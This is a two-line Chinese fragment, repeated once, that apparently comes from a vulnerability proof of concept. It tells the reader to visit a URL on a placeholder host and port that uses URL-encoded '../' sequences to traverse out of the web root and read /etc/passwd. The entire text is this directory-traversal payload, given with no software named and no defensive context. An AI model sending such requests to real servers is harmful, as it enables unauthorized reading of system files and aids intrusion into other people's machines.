访问下面的链接: ``` http://<ip>:<port>/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd ``` 
访问下面的链接: ``` http://<ip>:<port>/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd ``` 